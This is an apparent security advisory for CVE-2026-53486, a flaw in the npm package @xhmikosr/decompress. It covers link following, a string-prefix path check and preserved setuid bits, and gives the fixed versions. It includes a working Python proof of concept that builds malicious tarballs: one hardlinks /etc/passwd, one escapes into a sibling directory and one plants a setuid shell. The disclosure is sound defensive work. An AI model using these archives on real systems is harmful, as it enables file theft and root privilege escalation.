critical · 9.1CVE-2026-53486Jul 6, 2026

CVE-2026-53486: @xhmikosr/decompress Path Traversal, Symlink Escape, and Setuid File Creation

Shubham Kandhare
Security Engagement Manager, SecureLayer7

A crafted archive extracted with @xhmikosr/decompress (and the unmaintained upstream decompress package) can write files outside the target directory, expose arbitrary files via hardlinks, and…

Package@xhmikosr/decompress
Ecosystemnpm
Affected< 10.2.1
Fixed in10.2.1

The problem

Three separate flaws exist in the file-write loop that runs for every archive format the library handles (tar, tar.gz, tar.bz2, zip, and any plugin-added formats).

First, hardlink and symlink entries are written without verifying where their target resolves to on disk. A hardlink can point at any file the process can read, copying sensitive data into the output directory. A symlink pointing outside the output directory can redirect a later write to an arbitrary location.

Second, the containment check used a string prefix comparison (realPath.indexOf(outputPath) !== 0). This incorrectly allows a path like /srv/out-old/evil to pass when the output directory is /srv/out, because /srv/out is a string prefix of /srv/out-old.

Third, file modes were applied as mode & ~umask without first stripping setuid (04000), setgid (02000), and sticky (01000) bits. An archive entry with mode 0o4755 creates a setuid-root executable when extraction runs as root, for example in CI pipelines or container build scripts.

Proof of concept

A working proof-of-concept for CVE-2026-53486 in @xhmikosr/decompress, with the exact payload below.

python
#!/usr/bin/env python3
# Generates three malicious tarballs that demonstrate each flaw.
# Requires: pip install python-libarchive-c  (or use the stdlib tarfile)
import tarfile, io, os, stat

# --- 1. Hardlink escape: expose /etc/passwd inside the output dir ---
with tarfile.open('hardlink_escape.tar', 'w') as t:
    info = tarfile.TarInfo(name='stolen_passwd')  # appears in ./out/
    info.type = tarfile.LNKTYPE
    info.linkname = '/etc/passwd'                 # absolute hardlink target
    t.addfile(info)

# --- 2. Sibling-directory escape via prefix confusion ---
# Output dir: /tmp/out   Sibling: /tmp/out-secret
# indexOf check sees '/tmp/out' as prefix of '/tmp/out-secret/evil' -> passes
with tarfile.open('sibling_escape.tar', 'w') as t:
    info = tarfile.TarInfo(name='../out-secret/evil.txt')
    info.type = tarfile.REGTYPE
    info.size = 6
    t.addfile(info, io.BytesIO(b'pwned\n'))

# --- 3. Setuid bit preservation (root extraction) ---
with tarfile.open('setuid_escape.tar', 'w') as t:
    payload = b'#!/bin/sh\nexec /bin/sh\n'
    info = tarfile.TarInfo(name='rootshell')
    info.type = tarfile.REGTYPE
    info.size = len(payload)
    info.mode = 0o4755            # setuid + rwxr-xr-x; umask does not strip setuid
    t.addfile(info, io.BytesIO(payload))

# Extract each with decompress (< 10.2.1) to observe the impact:
# const decompress = require('@xhmikosr/decompress');
# await decompress('hardlink_escape.tar', '/tmp/out');   // /tmp/out/stolen_passwd == /etc/passwd
# await decompress('sibling_escape.tar',  '/tmp/out');   // writes to /tmp/out-secret/evil.txt
# await decompress('setuid_escape.tar',   '/tmp/out');   // /tmp/out/rootshell has setuid bit set
print('Malicious archives written.')

Bug 1 (CWE-59, link following): the library called fs.link() / fs.symlink() directly from the archive entry's linkname field with no target resolution. The patch now calls fs.realpath() on the resolved link target and checks it falls inside the output directory before creating the link.

Bug 2 (CWE-22, path traversal): realPath.indexOf(outputPath) !== 0 is a string prefix test, not a path containment test. /tmp/out-evil starts with /tmp/out, so the check passes. The patch replaces this with path.relative(outputPath, realPath) and rejects any result that starts with ...

Bug 3 (CWE-732, incorrect permission): mode & ~umask passes the setuid/setgid/sticky bits straight through because the umask does not mask them by default. The patch explicitly clears those bits with mode & ~0o7000 before writing the file mode.

The fix

Update to @xhmikosr/decompress 10.2.1 (v10 line) or 11.1.3 (v11 line). The upstream decompress package (last release 4.2.1) is unmaintained and has the same flaws with no fix available; migrate away from it entirely. As a short-term workaround, extract only archives from trusted sources, run extraction as a non-root user, and audit extracted output for unexpected symlinks, hardlinks, and setuid/setgid bits.

Reporter not attributed.

References: [1][2][3][4][5]

Related research